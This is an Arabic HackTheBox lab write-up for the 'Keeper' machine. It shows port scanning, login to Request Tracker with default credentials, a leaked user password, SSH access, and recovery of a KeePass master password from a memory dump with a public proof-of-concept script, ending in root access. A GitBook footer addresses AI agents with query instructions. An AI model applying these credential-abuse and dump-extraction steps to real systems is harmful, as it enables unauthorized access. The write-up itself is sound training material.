> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/keeper-hackthebox-writeup.md).

# تقرير HackTheBox عن Keeper

{% embed url="<https://app.hackthebox.com/machines/Keeper>" %}

{% hint style="warning" %}
**المهارات:**

* إساءة استخدام أداة تتبّع الطلبات
* تسرب المعلومات
* الحصول على كلمة مرور KeePass عبر تفريغ الذاكرة (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/863f692c38f35d75b7ed3b3a0f9f2df391802d58" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**/ التحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز الهدف.

<figure><img src="/files/34b3b757740f8b74aa68eb706825a97895fc87d3" alt="" width="563"><figcaption></figcaption></figure>

**البحث عن المنافذ المفتوحة باستخدام Nmap: 22.80**

```bash
nmap -p- --open -n -Pn -vvv --min-rate 5000 10.10.11.227 -oG allPorts 
```

<figure><img src="/files/471a28ebacd1ce98f772e677828e5ca2c5a77dd5" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنفذ باستخدام Nmap:** استخدام Nmap لفحص إصدار المنفذ واستخراج المعلومات إلى الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.227 -oN targeted
```

<figure><img src="/files/0be01f6f921c732a4529a9c8e7748def66b47941" alt=""><figcaption></figcaption></figure>

### المنفذ 80

نكتشف النطاق **keeper.htb** ونطاقًا فرعيًا **tickets.keeper.htb**.

<figure><img src="/files/af46b6357d801a258ffc5c3d21a365bb0464e7e8" alt=""><figcaption></figcaption></figure>

نضيفهما إلى `/etc/hosts` الملف:

<figure><img src="/files/2f0400027eda2d1cfd3b848ddea06bc879a4b319" alt=""><figcaption></figcaption></figure>

## نظام Request Tracker CMS

عند زيارة **tickets.keeper.htb** نجد لوحة تحكم للمسؤول.

<figure><img src="/files/4d89268ab76af26e884f0e8caf38caf959c5edac" alt=""><figcaption></figcaption></figure>

نختبر بيانات الاعتماد الافتراضية الخاصة بـ **Request Tracker**:

```plaintext
اسم المستخدم: root  
كلمة المرور: password  
```

<figure><img src="/files/69f4234a2af13f8e95ad1e940b78441df518d049" alt=""><figcaption></figcaption></figure>

تم الاتصال بنجاح!

<figure><img src="/files/60cbc30aa842cf157c048e146f32fbec9242894e" alt=""><figcaption></figcaption></figure>

في **المسؤول → المستخدمون** في القسم نجد حساب مستخدم:

* المستخدم: <Inorgaard@keeper.htb>
* كلمة المرور: Welcome2023!

<figure><img src="/files/a490e341722749fd922cb0973c9c0944464c6564" alt=""><figcaption></figcaption></figure>

#### اتصال SSH

نستخدم بيانات الاعتماد التي وجدناها للاتصال عبر SSH:

```bash
ssh Inorgaard@keeper.htb
```

<figure><img src="/files/56eba6294e409bfa23ef7e4d9a4917c0d4e246ce" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/0c105400e3dd603c969191ccf1cc6d263d9cc76e" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### **تفريغ قاعدة بيانات KeePass**

نجد ملف ZIP `RT30000.zip` والذي نقوم بتنزيله إلى جهازنا:

```bash
python3 -m http.server 8080
```

```bash
wget http://10.10.11.227:8080/RT30000.zip
```

<figure><img src="/files/d8095cc620979ecbdf51f443c8dcbb2c2789e00c" alt=""><figcaption></figcaption></figure>

بعد الاستخراج، نحصل على:

* **KeePassDumpFull.dmp**
* **passcodes.kdbx**

<figure><img src="/files/e837c0f3feef2a905f77865e503ac26a196c315d" alt=""><figcaption></figcaption></figure>

نحاول فتح `passcodes.kdbx` باستخدام KeePassXC:

```bash
keepassxc passcodes.kdbx
```

يطلب كلمة مرور. نحاول التخمين بالقوة الغاشمة باستخدام **John The Ripper**، ولكن دون نجاح.

<figure><img src="/files/dd2f42a7ff3c22eed181ce649d22869f218a99ff" alt=""><figcaption></figcaption></figure>

### **KeePass - تحليل تفريغ الذاكرة**

{% embed url="<https://github.com/matro7sh/keepass-dump-masterkey>" %}

نستغل `.dmp` ملف باستخدام سكربت بايثون:

```bash
python3 poc.py KeePassDumpFull.dmp
```

يكشف هذا عن أحرف غير قابلة للقراءة. يقودنا البحث عبر الإنترنت إلى كلمة مرور محتملة:

<figure><img src="/files/c73011a76f1ea3ebe37d7061c23052683b5be21c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/747266293fd9300a4ec8851c1b6fbca31b921460" alt="" width="563"><figcaption></figcaption></figure>

**النتيجة**": عصيدة حمراء مع القشدة

<figure><img src="/files/c3a1b4cc25b940d9d30baadf3d2cffab6f647181" alt="" width="563"><figcaption></figcaption></figure>

نستخدم هذه الكلمة المرور لفتح KeePass، مما يمنحنا **مفتاح PuTTY مشفّر وكلمة مرور root**.

<figure><img src="/files/3073ef19faafb46f4ef5211a8d1c3d051510822f" alt=""><figcaption></figcaption></figure>

### تحويل مفتاح PuTTY إلى صيغة OpenSSH

نحتاج إلى تحويل مفتاح PuTTY إلى صيغة OpenSSH:

```bash
puttygen key.ppk -O private-openssh -o id_rsa
```

بعد ذلك، تأكد من أن مفتاحك الخاص يملك الأذونات الصحيحة:

```bash
chmod 600 id_rsa
```

#### **الاتصال بخادم SSH**

```bash
ssh -i id_rsa root@10.10.11.227
```

<figure><img src="/files/ec87550f909f6c21aa5f52d984d64f49fe0ecfba" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/d51338876afe3c658b382c7a7fb657d2ef8fe57c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f2e1cb2239687b60ba14f1a4821ee6feba4867d9" alt="" width="417"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/keeper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
